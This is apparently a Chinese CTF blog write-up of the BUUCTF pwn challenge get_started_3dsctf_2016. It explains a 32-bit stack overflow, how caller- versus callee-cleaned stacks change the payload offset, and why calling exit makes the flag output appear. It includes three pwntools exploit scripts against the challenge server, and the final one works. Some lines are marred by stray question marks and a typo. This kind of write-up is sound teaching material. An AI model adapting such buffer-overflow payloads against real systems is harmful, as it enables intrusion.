buu get_started_3dsctf_2016 关于内平栈和外平栈

本篇博客涉及到的知识点:内平栈与外平栈

题目地址:BUUCTF在线评测 (buuoj.cn)

╭─root@f2b0c1f3fc1f /ctf/work  
╰─➤  checksec get_started_3dsctf_2016 
[*] '/ctf/work/get_started_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main中get函数存在栈溢出:

找到后门函数get_shell:a1和a2是栈上的参数,所以我们在栈溢出时提前设置好就能绕过,成功读取flag

接下来试试按常理的脚本:

from pwn import
io = remote("node5.buuoj.cn",29506)
offset = 0x38
payload = b'a'*(offset+4) ?????????????
payload += p32(0x080489A0)  # get_flag_addr:0x080489A0
payload += p32(0x308CD64F) + p32(0x195719D1) # 设置好a1和a2的值
io.sendline(payload)
io.interactive()

但是很遗憾,打不通远程

思考一下哪里出问题了呢

其实仔细的师傅应该发现,这道题平衡栈的汇编代码与之前遇到的有点不一样:

我们常遇到的栈平衡方式是内平栈(顾名思义就是在被调用函数内部平衡栈):

下图是在getshell函数内部进行栈平衡

但是这道题是外平栈:是在调用完子函数后,回到主函数中平衡栈(并且这道题是esp寻址方式)

在遇到外平栈时我们就不用再offset后加4了,内平栈才需要

所以修改脚本后是这样的:

from pwn import *
io = remote("node5.buuoj.cn",29506)
offset = 0x38
payload = b'a'*(offset) ?????????????
payload += p32(0x080489A0)  # get_flag_addr:0x080489A0
payload += p32(0x308CD64F) + p32(0x195719D1) # 设置好a1和a2的值
io.sendline(payload)
io.interactive()

尝试打一下远程,还是失败

所以这里还涉及到最后一个知识点:用fopen打开文件时,程序必须要正常退出才会有回显

所以我们要让程序调用完get_flag后正常退出,使用exit函数(因为程序是静态编译的所以能很方便找到exit地址)

那么最终的脚本如下:

from pwn import *
io = remote("node5.buuoj.cn",29506)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

关于外平栈和内平栈可以参考

posted @ 2023-12-31 00:31  _Ya0  阅读(24)  评论(0)    收藏  举报